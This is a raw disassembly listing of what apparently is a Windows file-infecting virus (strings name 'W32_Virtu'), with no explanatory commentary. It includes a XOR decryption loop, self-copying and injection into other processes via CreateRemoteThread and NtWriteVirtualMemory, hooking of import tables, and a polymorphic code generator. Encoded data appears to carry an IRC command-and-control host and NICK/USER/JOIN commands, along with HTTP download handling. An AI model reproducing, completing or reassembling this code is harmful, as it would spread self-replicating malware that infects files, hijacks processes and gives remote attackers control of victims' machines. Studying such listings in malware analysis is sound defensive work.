sub_4FA067 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FA082 proc near ; CODE XREF: sub_4F9FE9:loc_4FA00Fp
; sub_4FBE56+25Bp
mov dh, dl
mov ecx, 225Fh
loc_4FA089: ; CODE XREF: sub_4FA082+Cj
xor [eax], dl
inc eax
add dl, dh
loop loc_4FA089
retn
sub_4FA082 endp
; ---------------------------------------------------------------------------
db 33h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4F9FE9
loc_4FA092: ; CODE XREF: sub_4F9FE9+2Bj
and dword ptr [ebp+401580h], 0
and dword ptr ss:loc_401584[ebp], 0
and dword ptr [ebp+401588h], 0
mov eax, [ebp+403431h]
xor ecx, ecx
push 1
mov cl, 20h
pop dword ptr [ebp+40397Eh]
loc_4FA0B9: ; CODE XREF: sub_4F9FE9+E0j
xor edx, edx
shr eax, 1
setb dl
shl dl, 3
add [ebp+40397Eh], edx
loop loc_4FA0B9
push edi
mov byte ptr [ebp+401303h], 1
mov dword ptr ss:loc_403548[ebp], esi
lea esi, [ebp+4015BBh]
xor ecx, ecx
lea edi, [ebp+403558h]
mov cl, 1Eh
call sub_4FA44C
pop edi
call dword ptr [ebp+403594h]
shr eax, 1Fh
jz loc_4FA1D2
mov eax, [edi+14h]
push 40h
add eax, ebx
push 8001000h
mov [ebp+403550h], eax
push 69CEh
push 0
call dword ptr [ebp+4035C8h]
test eax, eax
jz loc_4FA016
xchg eax, edi
lea esi, sub_401000[ebp]
mov ebp, edi
mov ecx, 0A74h
sub ebp, offset sub_401000
lea edx, [ebp+401283h]
rep movsd
jmp edx
; END OF FUNCTION CHUNK FOR sub_4F9FE9
; ---------------------------------------------------------------------------
sub esp, 20h
mov edi, esp
push 8
xor eax, eax
pop ecx
lea edx, loc_401A3D[ebp]
rep stosd
mov edi, esp
mov [edi+10h], edx
inc byte ptr [edi+1Ch]
push edi
push 10003h
call dword ptr [ebp+403550h]
add esp, 20h
test eax, eax
jz loc_4FA016
xchg eax, edi
push 0
push 1
push 80000400h
push 10000h
call dword ptr [ebp+403550h]
test eax, eax
jz loc_4FA016
push 0
push eax
push 40000h
push 0
shr eax, 0Ch
push edi
push 1
push eax
push 10001h
call dword ptr [ebp+403550h]
push 1000Ah
call dword ptr [ebp+403550h]
call sub_4FA1C2
jmp loc_4FA016
; =============== S U B R O U T I N E =======================================
sub_4FA1C2 proc near ; CODE XREF: .XPack:004FA1B8p
; sub_4FA1C2+Dj
push 1
pop ecx
jecxz short locret_4FA1D1
push 0Ah
call dword ptr [ebp+4035BCh]
jmp short sub_4FA1C2
; ---------------------------------------------------------------------------
locret_4FA1D1: ; CODE XREF: sub_4FA1C2+3j
retn
sub_4FA1C2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4F9FE9
loc_4FA1D2: ; CODE XREF: sub_4F9FE9+10Fj
cmp dword ptr [ebp+403570h], 0
jz loc_4FA016
call near ptr loc_4FA1E9+1
dec esi
push esp
inc esp
dec esp
dec esp
loc_4FA1E9: ; CODE XREF: sub_4F9FE9+1F6p
add bh, bh
xchg eax, ebp
mov ds:0B58D0040h, dh
jnb short near ptr loc_4FA206+5
inc eax
add [ebx], dh
leave
lea edi, [ebp+4035D0h]
mov cl, 0Bh
xchg eax, ebx
call sub_4FA44C
loc_4FA206: ; CODE XREF: sub_4F9FE9+209j
cmp dword ptr [ebp+4035F8h], 0
jz loc_4FA016
mov eax, [ebp+4035D4h]
push dword ptr [eax+1]
pop dword ptr [ebp+403395h]
mov eax, [ebp+4035E8h]
push dword ptr [eax+1]
pop dword ptr [ebp+4033E2h]
mov eax, [ebp+4035D8h]
push dword ptr [eax+1]
pop dword ptr ss:loc_4033E9[ebp]
mov ecx, dword ptr ss:loc_4035DC[ebp]
jecxz short loc_4FA251
push dword ptr [ecx+1]
pop dword ptr ss:loc_4033F6[ebp]
loc_4FA251: ; CODE XREF: sub_4F9FE9+25Dj
call loc_4FA048
lea edi, [ebp+40364Eh]
mov ecx, edi
push 0
neg cl
push dword ptr [eax+4]
and ecx, 3
push 40h
add edi, ecx
push edi
push 0
push 18h
lea esi, [ebp+40159Fh]
mov ecx, 1Ch
mov edx, esp
lea eax, ds:0FFFFFFFEh[ecx*2]
stosw
lea eax, ds:0[ecx*2]
stosw
lea eax, [edi+4]
stosd
xor ah, ah
loc_4FA296: ; CODE XREF: sub_4F9FE9+2B0j
lodsb
stosw
loop loc_4FA296
push 0
push 69CEh
mov ecx, esp
push 0
mov eax, esp
push 0
push 8000000h
push 40h
push ecx
push edx
push 0Eh
push eax
call dword ptr [ebp+4035E0h]
pop eax
add esp, 40h
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 0
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push 0FFFFFFFFh
push eax
call dword ptr [ebp+4035E4h]
pop edi
pop ecx
test edi, edi
jz loc_4FA016
lea esi, sub_401000[ebp]
mov ecx, 0A74h
mov ebp, edi
rep movsd
sub ebp, offset sub_401000
lea eax, [ebp+40144Ch]
jmp eax
; END OF FUNCTION CHUNK FOR sub_4F9FE9
; ---------------------------------------------------------------------------
db 8Dh ;
db 95h, 0E0h, 18h
db 40h ; @
align 2
dw 0FF52h
db 95h ;
dd offset loc_403598+4
db 0E8h, 16h, 0
db 0
align 2
aLookupprivil_0 db 'LookupPrivilegeValueA',0
dd 4895FF50h, 89004035h, 40354C85h, 6A545000h, 0FFFF6A20h
dd 4035EC95h, 5FC08500h, 6A963F75h, 8B565602h, 52016AD4h
dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0FF560065h
dd 40354C95h, 56C48B00h, 56505656h, 0D095FF57h, 83004035h
dd 0FF5710C4h, 40353C95h, 6A006A00h, 7095FF02h, 0B9004035h
dd 128h, 89E12B97h, 5754240Ch, 35AC95FFh, 0F6330040h, 363CA583h
dd 54000040h, 0B095FF57h, 85004035h, 465C74C0h, 7204FE83h
dd 2474FFEEh, 6A006A08h, 0A895FF2Ah, 85004035h, 93DC74C0h
dd 43DE8h, 91C93300h, 853930E3h, 40363Ch, 0C1812875h, 0DAEh
dd 56505450h, 53505051h, 356895FFh, 0C0850040h, 0FF0F7459h
dd 8F082474h, 40363C85h, 0FDACE800h, 0FF53FFFFh, 40353C95h
dd 8198EB00h, 128C4h, 95FF5700h, 40353Ch, 0FFFBE5E9h, 498DFFh
dd 585858h, 29CEh, 0D65h, 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4FA44C proc near ; CODE XREF: sub_4F9FE9+100p
; sub_4F9FE9+218p ...
push ecx
push esi
push ebx
call dword ptr ss:loc_403548[ebp]
stosd
pop ecx
loc_4FA457: ; CODE XREF: sub_4FA44C+Ej
lodsb
test al, al
jnz short loc_4FA457
loop sub_4FA44C
retn
sub_4FA44C endp
; ---------------------------------------------------------------------------
aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0
aLstrlen db 'lstrlen',0
aCreatefilea_0 db 'CreateFileA',0
aCreatefilemapp db 'CreateFileMappingA',0
aCreateprocessa db 'CreateProcessA',0
aCreateremoteth db 'CreateRemoteThread',0
aCreatethread db 'CreateThread',0
aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0
aExitthread_0 db 'ExitThread',0
aFiletimetosyst db 'FileTimeToSystemTime',0
aGetfileattribu db 'GetFileAttributesA',0
aGetfilesize db 'GetFileSize',0
aGetfiletime db 'GetFileTime',0
aGetmodulehan_0 db 'GetModuleHandleA',0
aGettempfilenam db 'GetTempFileNameA',0
aGettemppatha db 'GetTempPathA',0
aGetversion db 'GetVersion',0
aGetversionex_0 db 'GetVersionExA',0
aLoadlibrarya_0 db 'LoadLibraryA',0
aMapviewoffile db 'MapViewOfFile',0
aOpenfilemappin db 'OpenFileMappingA',0
aOpenprocess db 'OpenProcess',0
aProcess32fir_0 db 'Process32First',0
aProcess32nex_0 db 'Process32Next',0
aSetfileattri_0 db 'SetFileAttributesA',0
aSetfiletime db 'SetFileTime',0
aSleep db 'Sleep',0
aSystemtimetofi db 'SystemTimeToFileTime',0
aUnmapviewoffil db 'UnmapViewOfFile',0
aVirtualalloc db 'VirtualAlloc',0
aWritefile_0 db 'WriteFile',0
aNtadjustprivil db 'NtAdjustPrivilegesToken',0
aNtcreatefile db 'NtCreateFile',0
aNtcreateproces db 'NtCreateProcess',0
aNtcreateproc_0 db 'NtCreateProcessEx',0
aNtcreatesectio db 'NtCreateSection',0
aNtmapviewofsec db 'NtMapViewOfSection',0
aNtopenfile db 'NtOpenFile',0
aNtopenprocesst db 'NtOpenProcessToken',0
aNtprotectvirtu db 'NtProtectVirtualMemory',0
aNtwritevirtual db 'NtWriteVirtualMemory',0
aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0
aWsastartup_0 db 'WSAStartup',0
aClosesocket_0 db 'closesocket',0
aConnect_0 db 'connect',0
aGethostbynam_0 db 'gethostbyname',0
aRecv_0 db 'recv',0
aSend_1 db 'send',0
aSocket_0 db 'socket',0
aInternetclos_0 db 'InternetCloseHandle',0
aInternetgetc_1 db 'InternetGetConnectedState',0
aInternetopen_0 db 'InternetOpenA',0
aInternetopen_1 db 'InternetOpenUrlA',0
aInternetread_0 db 'InternetReadFile',0
aAdvapi32_dll_0 db 'ADVAPI32.DLL',0
aRegclosekey_0 db 'RegCloseKey',0
aRegopenkeyex_0 db 'RegOpenKeyExA',0
aRegqueryvalu_0 db 'RegQueryValueExA',0
aRegsetvaluee_0 db 'RegSetValueExA',0
; =============== S U B R O U T I N E =======================================
sub_4FA7E7 proc near ; CODE XREF: .XPack:004FA88Ep
; .XPack:004FA89Fp ...
var_5 = byte ptr -5
sub ecx, 5
sub ecx, eax
push ecx
push 0E8000000h
lea ecx, [esp+8+var_5]
push 0
push 5
push ecx
push eax
push ebx
push 5
mov ecx, esp
push eax
mov edx, esp
push eax
push esp
push 40h
push ecx
push edx
push ebx
call dword ptr ss:loc_4035F0[ebp]
add esp, 0Ch
call dword ptr [ebp+4035F4h]
add esp, 8
retn
sub_4FA7E7 endp
; ---------------------------------------------------------------------------
push edi
lea eax, loc_4015B1[ebp]
xor edi, edi
push eax
push 0
push 0Eh
call dword ptr ss:loc_4035A4[ebp]
test eax, eax
jz loc_4FA8CA
push eax
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 100000h
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push ebx
push eax
call dword ptr [ebp+4035E4h]
pop edi
pop ecx
call dword ptr ss:loc_40353C[ebp]
test edi, edi
jz short loc_4FA8CA
mov ecx, [ebp+401588h]
jecxz short loc_4FA882
lea edx, sub_401000[ebp]
add edx, ecx
push edi
push ebx
call edx
loc_4FA882: ; CODE XREF: .XPack:004FA874j
mov eax, [ebp+4035D4h]
lea ecx, [edi+2394h]
call sub_4FA7E7
mov eax, [ebp+4035E8h]
lea ecx, [edi+23E1h]
call sub_4FA7E7
mov eax, [ebp+4035D8h]
lea ecx, [edi+23E8h]
call sub_4FA7E7
mov eax, dword ptr ss:loc_4035DC[ebp]
test eax, eax
jz short loc_4FA8CA
lea ecx, [edi+23F5h]
call sub_4FA7E7
loc_4FA8CA: ; CODE XREF: .XPack:004FA834j
; .XPack:004FA86Cj ...
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, offset loc_401A14
xor ecx, ecx
lea eax, [ebp+401DAEh]
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call dword ptr ss:loc_40356C[ebp]
xchg eax, [esp]
call dword ptr ss:loc_40353C[ebp]
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 55h, 0E8h, 0
dd 5D000000h, 1A43ED81h, 0FF6A0040h, 1A0E958Dh, 52500040h
dd 2420CDh, 0C483002Ah, 85C7660Ch, 401A54h, 85C720CDh
dd 401A56h, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
dd 0B68F0h, 0D08B0000h, 3C50035Bh, 1A72B58Dh, 0BA8B0040h
dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h, 0FF6A5251h
dd 35F095FFh, 0C4830040h, 74958B0Ch, 2B004035h, 7EA83D7h
dd 6A07C7h, 578900E8h, 1A6AC303h, 9E858h, 428D0000h, 0C9FEAA61h
db 75h, 0F0h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_4FA9AF proc near ; CODE XREF: sub_4FB21A+1Bp
; sub_4FB392+3p ...
imul edx, dword ptr ss:loc_403646[ebp], 8088405h
inc edx
mov dword ptr ss:loc_403646[ebp], edx
mul edx
retn
sub_4FA9AF endp
; ---------------------------------------------------------------------------
db 55h
dd 0E8h, 0ED815D00h, 401B09h, 364A9D8Bh, 7C830040h, 0F000824h
dd 0B984h, 8EC8100h, 54000002h, 10468h, 9095FF00h, 8B004035h
dd 24848DFCh, 104h, 0E8006A50h, 4, 545256h, 8C95FF57h
dd 33004035h, 4978DC9h, 51000001h, 51026A51h, 68016Ah
dd 52400000h, 355C95FFh, 85960040h, 505B74F6h, 1046854h
dd 0FF570000h, 22024B4h, 95FF0000h, 403628h, 74C08559h
dd 5014E316h, 6AD48Bh, 56575152h, 35CC95FFh, 85590040h
dd 56D075C0h, 353C95FFh, 578D0040h, 6A575244h, 978D5844h
dd 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h, 356495FFh
dd 0C4810040h, 208h, 82474FFh, 361895FFh, 0FF530040h, 40361895h
dd 4C25D00h, 0A3E8000h, 8B460175h, 4015848Dh, 8D19E300h
dd 40100095h, 56D10300h, 0C084D2FFh, 11F880Fh, 840F0000h
dd 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h, 0F175203Eh
dd 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h, 6A51CEh
dd 0FF535651h, 40361095h, 0C13B5900h, 0DF850Fh, 858D0000h
dd 401DA2h, 0C68006Ah, 50000000h, 1095FF53h, 3D004036h
dd 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh, 0A5850F56h
dd 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h, 0ACF37520h
dd 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h, 203CAC7Fh
dd 7E817C75h, 746820FFh, 81717574h, 3A70037Eh, 68752F2Fh
dd 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h, 4035BCh
dd 5050C033h, 9E85050h, 44000000h, 6C6E776Fh, 64616Fh
dd 362095FFh, 0C0850040h, 0C9333674h, 364A8589h, 68510040h
dd 80000200h, 50565151h, 362495FFh, 958D0040h, 401B03h
dd 54C93350h, 51525051h, 6C95FF51h, 87004035h, 95FF2404h
dd 40353Ch, 8D80C3F8h, 401577h, 53C3F901h, 5754464Fh, 5C455241h
dd 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh, 75435C73h
dd 6E657272h, 72655674h, 6E6F6973h, 7078455Ch, 65726F6Ch
dd 61540072h, 74656772h, 74736F48h, 0FF000200h, 8F7255F0h
dd 6F7270D0h, 2E6D6978h, 67637269h, 78616C61h, 6C702E79h
dd 43494E00h, 6B76204Bh, 79696174h, 550A796Eh, 20524553h
dd 30323061h, 20313035h, 202E202Eh, 4F4A2D3Ah, 26204E49h
dd 74726976h, 0E8550A75h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 401DB4h
mov byte ptr [ebp+401577h], 0
call dword ptr [ebp+403594h]
shr eax, 1Fh
jz short loc_4FACC9
push 1Eh
mov esi, [ebp+403550h]
pop ecx
loc_4FAC96: ; CODE XREF: .XPack:loc_4FACC5j
lodsb
cmp al, 2Eh
jnz short loc_4FACC5
cmp word ptr [esi], 1DFFh
jnz short loc_4FACC5
lea edi, [ebp+403640h]
mov esi, [esi+2]
push edi
movsd
movsw
lea eax, [ebp+40336Ah]
pop dword ptr [ebp+403390h]
cli
mov [esi-6], eax
mov word ptr [esi-2], cs
sti
mov cl, 1
loc_4FACC5: ; CODE XREF: .XPack:004FAC99j
; .XPack:004FACA0j
loop loc_4FAC96
jmp short loc_4FAD0C
; ---------------------------------------------------------------------------
loc_4FACC9: ; CODE XREF: .XPack:004FAC8Bj
lea eax, loc_4015B1[ebp]
push eax
push 0
push 0Eh
call dword ptr ss:loc_4035A4[ebp]
cmp dword ptr [esp+8], 4
jnz short loc_4FAD0C
call near ptr loc_4FACE9+1
push ebx
inc esi
inc ebx
loc_4FACE9: ; CODE XREF: .XPack:004FACE1p
add bh, bh
xchg eax, ebp
mov ds:48E80040h, dh
cld
; ---------------------------------------------------------------------------
db 0FFh
dd 7E8FFh, 46530000h, 534F5F43h, 8895FF00h, 0E8004035h
dd 0FFFFFC31h
; ---------------------------------------------------------------------------
loc_4FAD0C: ; CODE XREF: .XPack:004FACC7j
; .XPack:004FACDFj
call sub_4FA067
dec dword ptr [ebp+401303h]
call near ptr loc_4FAD26+1
push ebp
push ebx
inc ebp
push edx
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
loc_4FAD26: ; CODE XREF: .XPack:004FAD17p
add bh, bh
xchg eax, ebp
pushf
xor eax, 0AE80040h
; ---------------------------------------------------------------------------
db 0
dd 73770000h, 6E697270h, 416674h, 4895FF50h, 89004035h
dd 40355485h, 8D310F00h, 4018E08Dh, 46858900h, 51004036h
dd 359C95FFh, 68930040h, 4, 18EDB58Dh, 8D590040h, 40362CBDh
dd 0F6D6E800h, 0C766FFFFh, 401D6785h, 83F0FF00h, 401D69A5h
dd 958D0000h, 401D27h, 16A5450h, 6852006Ah, 80000002h
dd 363095FFh, 0C0850040h, 8D22755Ah, 401D5A8Dh, 66A5200h
dd 1D67B58Dh, 56540040h, 52515050h, 363495FFh, 0FF580040h
dd 40362C95h, 4D85C600h, 4038h, 0CE8h, 4F535700h, 32334B43h
dd 4C4C442Eh, 9C95FF00h, 93004035h, 768h, 44B58D00h, 59004018h
dd 35FCBD8Dh, 51E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
dd 4C4C44h, 359C95FFh, 0C0850040h, 1E7840Fh, 68930000h
dd 5, 1882B58Dh, 8D590040h, 403618BDh, 0F61AE800h, 0BD83FFFFh
dd 40361Ch, 0C2840F00h, 81000001h, 190ECh, 1685400h, 0FF000001h
dd 4035FC95h, 90C48100h, 50000001h, 6AD48Bh, 1C95FF52h
dd 85004036h, 0D7559C0h, 138868h, 0BC95FF00h, 0EB004035h
dd 69BD83E2h, 401Dh, 858D2975h, 401D6Dh, 895FF50h, 85004036h
dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401D69h, 384D85C6h
dd 6A010040h, 6A016A00h, 1495FF02h, 83004036h, 840FFFF8h
dd 112h, 65958D93h, 6A00401Dh, 0FF535210h, 40360495h, 0FC08500h
dd 0F285h, 86BD8D00h, 0B100401Dh, 0FABCE808h, 9468FFFFh
dd 5E000000h, 3489E62Bh, 95FF5424h, 403598h, 1D94BD8Dh
dd 1B10040h, 0FFFA9DE8h, 24448BFFh, 8E0C110h, 424440Bh
dd 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h, 40355495h
dd 0CC48300h, 200647C6h, 1D81958Dh, 6A0040h, 2168h, 0FF535200h
dd 40361095h, 247C8D00h, 95FF5714h, 403558h, 0A3804C6h
dd 50006A40h, 95FF5357h, 403610h, 0BD8DE603h, 401DA2h
dd 0C68006Ah, 57000000h, 1095FF53h, 3D004036h, 0Ch, 0B58D4D75h
dd 40364Eh, 384D8D8Dh, 0CE2B0040h, 5651006Ah, 0C95FF53h
dd 83004036h, 2F7E00F8h, 8DFE8B91h, 40364EB5h, 0F20DB000h
dd 601075AEh, 0FFFAF8E8h, 177261FFh, 778D09E3h, 8BEAEB01h
dd 8DCE2BCFh, 40364EBDh, 87A4F300h, 53B9EBF7h, 360095FFh
dd 0BD800040h, 401577h, 682A7401h, 7530h, 35BC95FFh, 0BD800040h
dd 40384Dh, 0C7117400h, 401D6985h, 0
dd 4D85C600h, 4038h, 0FFFE56E9h, 8085C7FFh, 4015h, 5D800000h
dd 0D0004C2h, 6E204F0Ah, 206E6F6Fh, 6C20666Fh, 21656669h
dd 74204F20h, 20656D69h, 63206F74h, 62656C65h, 65746172h
dd 200A0D21h, 20202020h, 7573204Fh, 72656D6Dh, 72616720h
dd 216E6564h, 65520A0Dh, 746E656Ch, 7373656Ch, 6820796Ch
dd 79707061h, 646E6120h, 70786520h, 61746365h, 202C746Eh
dd 6E617473h, 676E6964h, 0D2D203Ah, 7461570Ah, 6E696863h
dd 6C612067h, 6164206Ch, 6E612079h, 696E2064h, 2C746867h
dd 726F6620h, 69726620h, 73646E65h, 77204920h, 3A746961h
dd 68570A0Dh, 20657265h, 20657261h, 2C756F79h, 69726620h
dd 73646E65h, 6F43203Fh, 2021656Dh, 69207449h, 69742073h
dd 2021656Dh, 73277449h, 74616C20h, 0A0D2165h, 4CA2A1A8h
dd 6299AD47h, 50B7AB4h, 4FD479EDh, 0A5FADA23h, 10A61429h
dd 53AF69DFh, 27B1FAE5h, 0DB858B99h, 30C78404h, 3AAB5957h
dd 606EF96Ah, 6F687A0Ah, 6980CE22h, 0D8AD0973h, 10A61413h
dd 40375248h, 0C26CCC5Ch, 0D8B8B352h, 1A73C17Eh, 10F2086Dh
dd 0Bh dup(0)
; =============== S U B R O U T I N E =======================================
sub_4FB164 proc near ; CODE XREF: sub_4FB1AB:loc_4FB208p
; sub_4FB26B+7p ...
arg_0 = dword ptr 4
pusha
and dword ptr [ebp+4039A6h], 0
and dword ptr ss:loc_4039AA[ebp], 0
movzx eax, word ptr [ebx+14h]
lea edx, [ebx+18h]
movzx ecx, word ptr [ebx+6]
add edx, eax
loc_4FB180: ; CODE XREF: sub_4FB164+41j
mov eax, [esp+20h+arg_0]
sub eax, [edx+0Ch]
jb short loc_4FB1A2
cmp eax, [edx+8]
jnb short loc_4FB1A2
mov eax, [edx+14h]
sub eax, [edx+0Ch]
mov [ebp+4039A6h], edx
mov dword ptr ss:loc_4039AA[ebp], eax
jmp short loc_4FB1A7
; ---------------------------------------------------------------------------
loc_4FB1A2: ; CODE XREF: sub_4FB164+23j
; sub_4FB164+28j
add edx, 28h
loop loc_4FB180
loc_4FB1A7: ; CODE XREF: sub_4FB164+3Cj
popa
retn 4
sub_4FB164 endp
; =============== S U B R O U T I N E =======================================
sub_4FB1AB proc near ; CODE XREF: .XPack:004FB4D7p
; .XPack:004FB4FDp
mov [ebp+4022F7h], al
call sub_4FB21A
push 1Fh
lea eax, [ebp+402224h]
pop ecx
loc_4FB1C2: ; CODE XREF: sub_4FB1AB+1Ej
cmp [eax], ebx
jz short loc_4FB1D2
add eax, 4
loop loc_4FB1C2
inc dword ptr ss:loc_40398E[ebp]
retn
; ---------------------------------------------------------------------------
loc_4FB1D2: ; CODE XREF: sub_4FB1AB+19j
neg ecx
add ecx, [ebp+4022F7h]
jecxz short loc_4FB1EC
loc_4FB1DC: ; CODE XREF: sub_4FB1AB+39j
push dword ptr [eax-4]
pop dword ptr [eax]
sub eax, 4
loop loc_4FB1DC
mov [ebp+402224h], ebx
loc_4FB1EC: ; CODE XREF: sub_4FB1AB+2Fj
; sub_4FB21A+34j
cmp dword ptr [edx], 0
jz short loc_4FB1F6
sub esi, [edx]
add esi, [edx+10h]
loc_4FB1F6: ; CODE XREF: sub_4FB1AB+44j
lea ecx, [esi-4]
pop eax
pop ebx
pop esi
cmp dword ptr [edx], 0
jz short loc_4FB205
push dword ptr [edx]
jmp short loc_4FB208
; ---------------------------------------------------------------------------
loc_4FB205: ; CODE XREF: sub_4FB1AB+54j
push dword ptr [edx+10h]
loc_4FB208: ; CODE XREF: sub_4FB1AB+58j
call sub_4FB164
sub ecx, esi
sub ecx, dword ptr ss:loc_4039AA[ebp]
pop eax
add ecx, [ebx+34h]
retn
sub_4FB1AB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FB21A proc near ; CODE XREF: sub_4FB1AB+6p
pop dword ptr [ebp+403992h]
mov dword ptr ss:loc_40398E[ebp], 0
call sub_4FB26B
mov eax, dword ptr ss:loc_40398E[ebp]
call sub_4FA9AF
call sub_4FB257
cmp dword ptr ss:loc_40398E[ebp], 0
jnz short loc_4FB250
mov [ebp+4022A0h], ebx
jmp short loc_4FB1EC
; ---------------------------------------------------------------------------
loc_4FB250: ; CODE XREF: sub_4FB21A+2Cj
dec dword ptr ss:loc_40398E[ebp]
retn
sub_4FB21A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FB257 proc near ; CODE XREF: sub_4FB21A+20p
pop dword ptr [ebp+403992h]
mov dword ptr ss:loc_40398E[ebp], edx
call sub_4FB26B
xor ecx, ecx
retn
sub_4FB257 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FB26B proc near ; CODE XREF: sub_4FB21A+10p
; sub_4FB257+Cp ...
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov edx, [ebx+80h]
push edx
call sub_4FB164
add edx, dword ptr ss:loc_4039AA[ebp]
add edx, esi
loc_4FB27F: ; CODE XREF: sub_4FB26B+120j
cmp dword ptr [edx+0Ch], 0
jz locret_4FB390
cmp dword ptr [edx+10h], 0
jz locret_4FB390
mov eax, [edx+0Ch]
push eax
call sub_4FB164
add eax, dword ptr ss:loc_4039AA[ebp]
add eax, esi
push eax
loc_4FB2A5: ; CODE XREF: sub_4FB26B+47j
mov cl, [eax]
cmp cl, 0
jz short loc_4FB2C5
cmp cl, 2Eh
jz short loc_4FB2B4
loc_4FB2B1: ; CODE XREF: sub_4FB26B+58j
inc eax
jmp short loc_4FB2A5
; ---------------------------------------------------------------------------
loc_4FB2B4: ; CODE XREF: sub_4FB26B+44j
mov ecx, [eax+1]
and ecx, 0DFDFDFDFh
cmp ecx, offset dword_4C4C44
jnz short loc_4FB2B1
loc_4FB2C5: ; CODE XREF: sub_4FB26B+3Fj
pop ecx
sub ecx, eax
cmp ecx, 0FFFFFFFAh
jg loc_4FB388
cmp word ptr [eax-2], 3233h
jnz loc_4FB388
push esi
cmp dword ptr [edx], 0
jnz short loc_4FB2E8
mov ecx, [edx+10h]
jmp short loc_4FB2EA
; ---------------------------------------------------------------------------
loc_4FB2E8: ; CODE XREF: sub_4FB26B+76j
mov ecx, [edx]
loc_4FB2EA: ; CODE XREF: sub_4FB26B+7Bj
add esi, ecx
push ecx
call sub_4FB164
add esi, dword ptr ss:loc_4039AA[ebp]
loc_4FB2F8: ; CODE XREF: sub_4FB26B+90j
; sub_4FB26B+117j
lodsd
test eax, eax
js short loc_4FB2F8
jz loc_4FB387
push dword ptr ss:loc_4039AA[ebp]
push eax
call sub_4FB164
add eax, dword ptr ss:loc_4039AA[ebp]
pop dword ptr ss:loc_4039AA[ebp]
add eax, [esp+4+var_4]
push ebx
add eax, 2
xor ebx, ebx
loc_4FB324: ; CODE XREF: sub_4FB26B+CEj
movzx ecx, byte ptr [eax]
jecxz short loc_4FB33B
or cl, 20h
push ebx
shl [esp+0Ch+var_C], 4
sub [esp+0Ch+var_C], ebx
sub [esp+0Ch+var_C], ecx
pop ebx
inc eax
jmp short loc_4FB324
; ---------------------------------------------------------------------------
loc_4FB33B: ; CODE XREF: sub_4FB26B+BCj
cmp ebx, 0DDBBD70Fh
jz short loc_4FB381
cmp ebx, 0DB6E45A8h
jz short loc_4FB381
cmp ebx, 0FFA13B59h
jz short loc_4FB381
cmp ebx, 0ACB522D6h
jz short loc_4FB381
cmp ebx, 0F358E993h
jz short loc_4FB381
cmp ebx, 0F358E97Dh
jz short loc_4FB381
cmp ebx, 0E1253F46h
jz short loc_4FB381
cmp ebx, 0E1253F30h
jz short loc_4FB381
call dword ptr [ebp+403992h]
loc_4FB381: ; CODE XREF: sub_4FB26B+D6j
; sub_4FB26B+DEj ...
pop ebx
jmp loc_4FB2F8
; ---------------------------------------------------------------------------
loc_4FB387: ; CODE XREF: sub_4FB26B+92j
pop esi
loc_4FB388: ; CODE XREF: sub_4FB26B+60j
; sub_4FB26B+6Cj
add edx, 14h
jmp loc_4FB27F
; ---------------------------------------------------------------------------
locret_4FB390: ; CODE XREF: sub_4FB26B+18j
; sub_4FB26B+22j
retn
sub_4FB26B endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
sub_4FB392 proc near ; CODE XREF: .XPack:004FB4D0p
; .XPack:004FB4F6p
push 4
pop eax
call sub_4FA9AF
mov byte ptr ss:loc_4024D1[ebp], dl
mov ax, 1831h
add ah, dl
shl ah, 3
add ah, dl
stosw
push 6
pop eax
call sub_4FA9AF
add edx, 8
xchg edx, ecx
loc_4FB3BA: ; CODE XREF: sub_4FB392:loc_4FB3F9j
push 5
pop eax
call sub_4FA9AF
cmp dl, 3
jnb short loc_4FB3D2
mov al, 50h
add al, byte ptr ss:loc_4024D1[ebp]
stosb
jmp short loc_4FB3F9
; ---------------------------------------------------------------------------
loc_4FB3D2: ; CODE XREF: sub_4FB392+33j
push 68h
pop eax
stosb
cmp dl, 3
jnz short loc_4FB3F3
mov al, 11h
call sub_4FA9AF
mov eax, 1
loc_4FB3E7: ; CODE XREF: sub_4FB392+5Dj
test dl, dl
jz short loc_4FB3F8
shl eax, 1
dec dl
jmp short loc_4FB3E7
; ---------------------------------------------------------------------------
jmp short loc_4FB3F8
; ---------------------------------------------------------------------------
loc_4FB3F3: ; CODE XREF: sub_4FB392+47j
mov eax, 80000000h
loc_4FB3F8: ; CODE XREF: sub_4FB392+57j
; sub_4FB392+5Fj
stosd
loc_4FB3F9: ; CODE XREF: sub_4FB392+3Ej
loop loc_4FB3BA
retn
